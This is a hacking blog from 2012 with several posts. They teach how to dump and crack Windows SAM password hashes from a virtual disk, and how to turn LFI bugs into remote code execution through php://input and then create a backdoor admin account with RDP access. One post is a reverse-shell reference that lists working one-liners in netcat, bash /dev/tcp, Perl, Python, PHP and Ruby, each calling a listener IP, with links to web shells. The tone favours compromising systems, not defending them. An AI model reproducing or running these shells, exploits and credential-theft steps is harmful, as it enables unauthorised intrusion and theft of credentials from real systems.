Thursday, February 16, 2012

BREAKING INTO WINDOWS VIRTUAL MACHINE – A DIFFERENT APPROACH

So my friend posted an open hacking challenge and provided users with a pre-built virtual machine for which they were to install and then black box hack in order to capture the flag stored on the admin user's dekstop. I was trying to install the virtual machine when I couldn’t log in so I wasn’t sure how I was supposed to get the system setup to hack as no credentials were provided at all. I couldn't do any in depth scanning due to initial setup on sensitive network. I then thought, well how would one go about getting the damn system passwords for a Windows machine normally if they had physical access to the box. OK, normally I would boot up to a Linux OS of choice, probably BackTrack, and then mount the system hard drive and make a copy of the SAM file and SYSTEM files to then dump and crack offline at my leasure, but this was on a virtual machine so it would seem I could find no way to do this. A) – I could not find anyway to change the boot order with the free vmware options without first installing a boot loader type mini-linux os and then installing the other systems ontop of it that way, but this was overly complex and too time consuming. B) – even if I could boot swap I don’t know if linux would be able to read the virtual hard drive or not. This part got me thinking, and I figured well why cant I just mount the damn virtual drive and then go through it like that. I had a hard time finding a method to get this to actually work…I admit at this point I was now back on Windows and only testing from Windows point of view. OK so I searched around and I found a crappy shareware program called WinImage which does the trick nicely (it allows 30 day trial and easy enough to reset on your own, can purchase if you like it and find you might use this method a lot). You can download it here: http://www.winimage.com/download.htm. Simple install that works like anything else on Windows…

Install winimage:

Once installed you can simply double click to run and then use the standard Windows icon in upper left to open a file and then point it to the location of the virtual machine hard disk file (.vmdk in this case) you want to mount for reading (free version is only read only L).

Choose mount point:

Go through content of virtual machine file system as you like J

NOTE: this crap shareware only lets you extract with the free version, pro paid version supposedly allows re-writing which would have allowed one to simple copy the cmd.exe over the sethc.exe and use the old SHIFT+Sticky Keys trick to bypass login at startup and create new administrator account or password and then restart and login with new credentials. Perhaps when I re-test with Linux this will be the easier shortcut to take…

But let’s have some fun for now shall we and review the now mounted virtual machines hard drive which will now appear like a normal C:\ drive:
Navigate to the C:\WINDOWS\system32\config folder to get our hands on the juicy stuff – mostly the SAM file so we can dump the systems usernames and passwords that are stored J Highlight the /config folder, right click and choose to extract that puppy to wherever it is you want to review it when you’re done…


OK, at this point we now have the SAM file and SYSTEM file which means we have the entire user and password hash details but we need to find a way to extract them as they are encrypted. The SYSTEM file will be used to determine the SYS-KEY which is then used to decode the SAM file so we can dump it. There are a few options when it comes to getting this part of the job done, here are a few of your options for going about things…

OPTION 1 – Dumping SAM File with: PwDump7
The first method I will show involves the use of the PwDump tool, latest version I found available online was v7 but methodology and command syntax should remain largely the same if your using a older version. The download for the one I used is available here: http://www.tarasco.org/security/pwdump_7/pwdump7.zip.  This is a command line only tool which can be used to dump the local systems SAM & SYSTEM file if run with administrator privileges or can be used to perform offline attacks as well (convenient for our particular scenario).

If you want to dump the local systems credentials, run as admin and simply run the tool without any arguments passed and it will do its thing, here is an example (no arguments but I am redirecting output to a file):

If we want to perform an offline attack we use the ”-s” switch and point it to the SAM & SYSTEM files so we can perform an offline attack, which is what we used in this particular scenario, it works the same and looks like this:

Now you have your dumped Windows usernames and password hashes and can go start trying to crack with your favorite hash cracker tool. In case your tool doesn’t accept the default PwDump file format for input the returned output file of the hash format for Windows NTLM Hashes is:  

Username:RID:LMHash:NTLMHash:::

You can just extract manually as needed and work with it from there.

OPTION 2 – Dumping SAM File with: Cain & Abel
If you don’t feel comfortable at the command line you can also get things done with the forever oldie but goodie Can & Abel. We start by launching Cain and using the Syskey Decoder tool from the tools menu:

Point it at the SECURITY file so it can determine the sys-key which we will use to decrypt the content of the SAM file in next steps, so make sure you take note or write it down…

NOTE: You need to provide the full path to where your SAM & SYSTEM files are stored on winblows.
Now we use the Cracker tab and choose the LM & NTLM Hashes options. Click on the blue “+” sign up top to launch the Add NT Hashes loader tool. We need to use the last option to load from SAM database file.

Point it at our extracted SAM file and use the sys-key we found using the decoder in the previous steps and together they will be used by Cain to extract the user password hash details. Once properly configured and loaded, just hit next and you will see the credentials loaded into Cain’s main hash window of the cracker tool. Voila we have dumped it again!

Now you can crack them with Cain or extract them now that they are in cleaner format and crack in your tool of choice, but Cain is perfectly capable if you have no other options (or just have time to wait). Now in order to crack the hashed passwords we need to go about things in a strategic order to ensure we have the best and fastest results possible. We first want to start by cracking the LM Hash by itself. In most cases you can simply right click and choose to Bruteforce the LM Hash. You might notice the max length allowed is 7, this is due to how Windows hashing algorithms break the password down for LM hashes (see Google for details on this particular subject – it is worth looking into as it will help in understanding why this approach works).

Once the LM hash is cracked you can put this in your dictionary file as it will be some portion of the NTLM password and will greatly increase your chances of cracking the NTLM hashed password which is a MD4 algorithm of sorts. Continue attacking NTLM with dictionary, bruteforce, or rainbow tables if you have them and eventually you will find the decrypted password you seek. I have a bonus at the end which will show you how you can build your own rainbow tables to perform super quick hash lookups enabling super-fast hash cracking.  The particular hash in this scenario was set to take ages running bruteforce attacks when I turned to rainbow tables for help and the password hashes were decrypted in mere seconds! A HUGE thanks to my friends over at http://www.md5decrypter.co.uk/ for some assistance they give me with rainbow tables, thanks again guys!

And voila, we have again managed to dump the SAM file so we can now perform offline dictionary and/or bruteforce attacks against the found hashed system user passwords. Once hashes are cracked you can simply pair up your username and password and login into the system as if it was meant to be J

I hope you have enjoyed this fun tutorial on how you can steal password hashes from Windows systems, and in this case even on a Virtual Machine hosted Windows platform. Physical or Admin access is the key in the end, but persistent is also the key and dominating every box in the network is the end goal so keep no rock unturned during your adventures out there in the wild. Hope you have enjoyed this one as much as I have, and as always and until next time – Enjoy!


BONUS – RAINBOW TABLES:
Building Rainbow Tables with RCRACK:
We can download the rcrack tool set from the Rainbow Tables Project homepage. We can use the tools included to build our rainbow tables, sort them (convert formats if needed) and then finally to search to see if we can quickly find our hashed passwords from our found SAM file. We first create our tables using the basic documentation provided by Rainbow Crack Team:

Note: This part may take some time so take it in strides, as you need to process the full charset into all possibilities. If you need system resources just hit CNTRL+C to stop and then re-issue the same commands to build again and the RCRACK tool will pick back up where it previously left off J

The syntax starts easy by you passing arguments for the hash type to use, followed by the charset to use (see charset.txt file if you need reference for what’s available), then you provide the minimum and maximum length you require. In this case I was building LM tables so the max allowed is 7 which kept this project relatively short in nature as opposed to generating a longer password length (longer pass, more possibilities, requires more tables, equals more time). Then the syntax gets weird, you need to pass the index (for keeping track if you break it into multiple files), the chain_len, then chain_num, and last the part_index which is just an identifier you can give that gets postfixed to the file names when generated. As I could not find any clear definition of the chain_leng or chain_num I can’t provide full clarification on how you can write you own custom runs from scratch as I don’t understand fully why or how you determine the number of times to loop the commands for a full set…perhaps it will come to me in the future, in which case I will update this article…but in the meantime I found this site: http://wired.s6n.com/files/jathias/ which provides a great tool for calculating this and in process creates a batch file with the proper commands needed to create the desired tables you need. You can run the batch file or open it up and run the commands one by one and simply use the batch file as a reference. It is up to you, but I highly recommend this tool as without it I would have been lost, and you might be too (you’re probably smarter than me so you probably figure it out :p ). If you just want the direct download, its available here: http://wired.s6n.com/files/jathias/RainCalc.zip. Once you download that you simple run it like any other program, this one has a GUI, and then you identify the charset, hash type, min and max length you want and then hit the generate batch file button.

It will generate a batch file with the needed commands to create your desired rainbow tables based on the input you provided it. If you open the batch file up, it will look something similar to this:

Now we know the proper commands to run, how many times to loop, etc. We run this which takes some serious time depending on your setup and what not.

You can find downloads available on the internet in various formats but I decided to make my own to become familiar with the whole process. Once you have rainbow tables built you can use rcrack.exe or the rcrack-GUI application to search the rainbow tables for you hash and find passwords in mere seconds in most cases. You can also look into the Free Rainbow Tables project and there new alternative tools for creating and reading of rainbow tables. It is compatible with rcrack so you an re-use your tables or convert to their format, but they have Terabytes worth of rainbow tables available for free to download here: http://www.freerainbowtables.com/

This may take a long amount of time to package in some people’s eyes but once it is done you have them to use for all cracking attempts going forward which makes the time trade off start to come out and is why rainbow tables have been popular for so long, very much a real Return on Investment (ROI) over time. Today newer methods leveraging GPU power is really starting to bring other avenues of attack to the table which are equally as impressive as I have outlined in some of my earlier articles. The folks at http://www.md5decrypter.co.uk/ also play a huge role in bringing the ability for the average user to use their online database for easy and quick hash lookups.

#EOF
NOTE: You could just take the SAM and SYSTEM files but I took the whole thing just to be safe and get it all intact…  

Friday, January 20, 2012

BIND & BACK CONNECT REFERENCE GUIDE

I previously gave you an introduction into NETCAT and how it can be used to do all kinds of neat things, especially for making connections. I showed you how it can be used to spawn a command shell while making BIND connections as well as while making BACK-CONNECT or REVERSE connections. Now in some cases your netcat attempts will simply fail due to one reason or another and you need to be prepared with a few alternative methods to still get the job done. A good friend of mine recently shared a list he put together from posts and comments scattered across the net. The list was so good I couldn't help but share so others can beneift from this as well. Here are a few alternative methods you can try when your standard connections from your web based shells or netcat just dont seem to be working.

1. NETCAT with GAPING_SECURITY_HOLE enabled:
TARGET: nc 192.168.1.133 8080 -e /bin/bash
ATTACKER: nc -n -vv -l -p 8080

2. NETCAT with GAPING_SECURITY_HOLE disabled:
TARGET: mknod backpipe p && nc 192.168.1.133 8080 0<backpipe | /bin/bash 1>backpipe
ATTACKER: nc -n -vv -l -p 8080

3. Don’t have NETCAT, then try the /dev/tcp socket method
TARGET: /bin/bash -i > /dev/tcp/192.168.1.133/8080 0<&1 2>&1
ATTACKER: nc -n -vv -l -p 8080

4. Don’t have access to NETCAT or  dev/tcp? We can try using a telnet and backpipe to execute commands, like so:
TARGET: mknod backpipe p && telnet 192.168.1.133 8080 0<backpipe | /bin/bash 1>backpipe
ATTACKER: nc -n -vv -l -p 8080

5. Telnet – Plan B method using piped connections
TARGET: telnet 127.0.0.1 8080 | /bin/bash | telnet 127.0.0.1 8888
ATTACKER: nc -n -vv -l -p 8080
ATTACKER2: nc -n -vv -l -p 8888

6. Using straight BASH
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

7. Inline Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

8. Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec?t(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

9. Inline PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

10. Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

11. Using Xterm (if available)
xterm -display 10.0.0.1:1

12. A few Web Shells that have some cool connection and bypassing features built into them:
·         Priv8-2012 PHP web based shell which can be downloaded from packetstorm: http://packetstorm.igor.onlinedirect.bg/UNIX/penetration/priv8-2012-bypass-shell.txt
o   Might need to review the code for a backdoor near top, be warned!
·         Php-findsock-shell- designed to bypass egres filtering, available here: http://pentestmonkey.net/tools/web-shells/php-findsock-shell
·         Weevely- avoid bind shell/reverse shell via console over HTTP communication channel, available here: http://www.garage4hackers.com/f11/weevely-stealth-tiny-php-backdoor-1002.html
·         WeBaCoo – (One of My Favorites) – uses HTTP communication channel and passes commands through cookie parameter. Need to chain commands though due to the nature of it as you cant change directories, available here: http://packetstormsecurity.org/files/108009/webacoo-0.2.zip
Do you have another method which is not listed here? Please let me know by posting a comment or shooting me a message privately as we would like to build this up to be the best online reference out there.

If these methods don’t help you then I am not sure what will. I hope you find this information useful and I hope for at least one person this makes the difference from a mildly successful pentest to an all-out success! Until next time, Enjoy!

Special shout-out to CHEATSON for helping to put this reference material together in one spot!

Monday, January 16, 2012

BURP SUITE - Part VII: LFI Exploit via /PROC/SELF/FD

I have previously shown you several methods for which we can exploit LFI vulnerabilities as well as genaral usage of Burp Suite tool set. I have put together a brief video of one last method I wanted to share with you. The methods used all build upon the previous tutorials only the location is new. We will take advantage of the system shortcuts made available by the /prov/self/fd file system. Once located they can be enumerated to locate log files for potential code injection vector. In the video I will show you an example of this method, sit back and enjoy....

VIDEO:


HR's BURP SUITE PACK - DOWNLOAD (NEW LINK):  http://uppit.com/6fj3c4vxi4xk/HR-BURP-PACK_1.23.12.rar

Tuesday, January 10, 2012

BURP SUITE - Part VI: More Fun Exploiting LFI with PHP:// Filters


OK previously I have shown you a few ways you can exploit LFI vulnerabilities. We covered how to gain shell access through /proc/self/environ, how to read source through php://filters , and also how to gain command execution through log poisoning technique. Now today I am going to show you one last method which is much less known about and even less documented. I am going to show you how we can exploit LFI vulnerabilities by abusing the php://input filter this time. The php://input filter is designed to handle the data from POST request as its argument. If you follow the link above you will find it described as: (php://input) “is a read-only stream that allows you to read raw data from the request body. In the case of POST requests, it is preferable to use php://input instead of $HTTP_RAW_POST_DATA as it does not depend on special php.ini directives”. We will abuse this feature to execute PHP code thanks to the include() vulnerability we are exploiting (in similar fashion to how the /proc/self/environ method works). I have seen this method included in a few tools and I will admit I had to tear FIMAP apart to truly figure out how it was getting this technique to actually work which is why I want to share this with everyone, as I assume I am not the only one who is unaware of this technique and how it can be implemented to successfully turn Local File Inclusion (LFI) into Remote Code Execution (RCE), most notable but certainly not limited to - Windows targets.  I will show you how it works using Burp Suite so you can more clearly see how the requests are formed and code injected manually, here goes…

Pre-requisites:
·         LFI Vulnerability
·         Burp Suite, cURL, Tamper Data, Live HTTP Headers, or some other means to easily make POST requests and control the data sent with it – I will be using Burp Suite for this write up and curl in the bonus video. If you need help in coming up to speed with Burp Suite you might want to check out some of my other tutorials I have done:
·         Updated HR’s Burp Pack Download, available here: http://www.megaupload.com/?d=LP7Z7E2K
·         A Brain J

OK, so today I will be using this method against a Windows target to show you that LFI vulnerabilities can be abused on Windows just as badly as they can on a *nix machine – just because we can’t find /etc/passwd doesn’t mean we can get things going, watch and learn my friends. I will assume after all my previous LFI coverage that you can spot a potential LFI now and know what to look for. We will start from the initial find and work our way to command execution:

OK our initial request for /etc/passwd fails but gives us a few clues that we are up against a Windows machine. This means that /proc/self/environ method is out. You can use “C:\boot.ini” or “C:\WINDOWS\win.ini” as the Windows universal equivalent to /etc/passwd for a simple LFI base file check:

We can then try to find juicy Windows files using my new LFI-WinblowsFileCheck.txt file I added to my Burp Suite download pack (link available at the top and bottom of this tutorial). My new list is especially helpful when the target is also known to be running under XAMPP setup as I personally set things up locally and tested things until I had every possible file I could think of to potentially gain juicy info from.

 In this scenario I was able to find several juicy files which held helpful information, but alas I was not able to successfully gain access to any of the log files. The apache log files caused errors to be thrown which made them unusable and the FTP & Mail log files appear to be on another drive which I can’t successfully access through the LFI. I can use php://filters method to read source code but alas I can only find a few PHP pages even on the site and can’t seem to locate any low hanging fruits by guessing for configuration files L.


Do we give up and move to the next site? Hell no! We never give up and we leave no stone unturned! As we can use php://filters to read source code we will now try one last trick and see if we can abuse another filter which I have yet to introduce you to and that is the php://input filter. This filter is designed to handle data sent via POST request and when we abuse it with our include() vulnerability we can exploit the conditions to turn our LFI into full RCE or Remote Code Execution! In order to get things working we flip our request from a GET request to a POST request. We then replace our file names we have been requesting with php://input and then we place our code below the other header info so it is the data being read by php://input.  

Mini-TuT: 101 on GET vs. POST request because you need to understand how to flip the request properly or it wont work correctly, so here is the minimum you need to understand and get started:
HTTP is a request-response protocol, with many built in methods which allow it make all types of requests. The two most common of those methods are GET and POST requests and is all I will focus on for now...

A GET request fetches data from the web server. Here's an example request:

                GET /index.html?username=joesomebody&passwd=supersecret HTTP/1.1
                Host: www.samplesite.com
                User-Agent: Mozilla/4.0

You don’t need to include anything else as everything for the GET request is in the URL itself and header details. This is where the variance becomes notable as POST requests do send additional data to the web server. Here is an example of a POST request:

                POST /login.php HTTP/1.1
                Host: www. samplesite.com
                User-Agent: Mozilla/4.0
                Content-Length: 39
                Content-Type: application/x-www-form-urlencoded

                username=joesomebody&passwd=supersecret

You can clearly see a difference in the structure of the request. We place a POST instead of a GET obviously with the URL pointing to the page we want to send our data to. We then have our Host header to identify the target site so that when paired with the URL page we get a working link. The User-Agent field is fairly self-explanatory, although it is worth mentioning you can spoof this or even use to inject code in some cases (see some of my other LFI tutorials for examples). We then define the Content-Length which is a count of the characters used in our data stream. The default Content-Type should be set to application/x-www-form-urlencoded followed by a blank line and then you can insert your data to send. POST requests typically alter the web server in some way whereas GET requests do not.

Back to the main TuT…

As in many of my other tutorials I like to start small and then work our way up to full shell access so we begin by just checking to see if we can we use injected code to echo some text to the page (Hood3dRob1n in this case), your request should look similar to this:
NOTE: we use the PHP chr() function to send ascii characters one at a time for the echo command

OK, we can clearly see our text being displayed meaning our echo command was successfully injected. Again this is done because php://input takes the data as an argument and since we are inside of the include() vulnerability it causes the code to become executable. We can now modify our code to inject whatever code you like, just remember in this case it is a Windows environment so commands need to be adjusted accordingly. We can quickly check our user status by issuing a quick “whoami” request, like so:

As you can see we are running in this case as the NT AUTHORITY/SYSTEM user, which is the Windows equivalent of root user. Now we can issue a systeminfo command to see what we have gotten into:

And then follow up with DIR commands and take a look around…

 Now since it is a Windows machine we may or may not be able to use WGET or CURL to get a shell on the target site. If you can’t do this then we will try to use our RCE ability to add a user and then use RDP to simply login and do our thing. In this scenario I can’t load a shell so we will do it the long way. We first check to see who is in the administrator group already with a quick windows command:

OK, so now we need to get our name on the list. We use some more Windows command line kung-fu and add a user to the machine, like so:

Now we check the cool guy list once more to confirm we are now on the list:

w00t – we made to the cool guy group! Ok we are almost done…now that we have admin level user created we will grant them access to the Remote Desktop Users group so we can use RDP to get full GUI access to the site. In order to do this we again alter our commands slighty and add our new user to the group like so:

Now that we have added a user we need to add them to the administrator group so we can get on the cool guy list, we do this by adjusting our command slightly as so:


OK, now we need to open up a command prompt or terminal on our local machine and issue a quick PING request to the target site so we can confirm the IP address to which we will RDP into, should appear something similar to the following (point is to get the sites IP):


 Once we have the IP address for our Windows target we can simply open up our RDP connection manager and connect using our new account credentials we made in the steps outlined above:


At this point you have pretty much got full control thanks to wonderful old Windows. If things fail due to RDP Service not being enabled you can try to inject this command and to enable it:



And if you’re too impatient you can simply restart the machine yourself all though this may cause a few red flags to go off and may also possible lead to data loss on the remote target so use with some caution…

You can use your RDP GUI access to do what you want now or you can do it all from the LFI command execution one by one, whatever floats your boat. This sums up my coverage of the LFI php://input filter technique and how it can be used to exploit Windows systems (It can also be used against *nix but I mainly engage this technique against Windows targets). I hope you have enjoyed this tutorial and as always and until next time – Enjoy!

BONUS VIDEO:
...I should have up in next 24hrs...

Updated HR’s Burp Pack Download, available here: http://www.megaupload.com/?d=LP7Z7E2K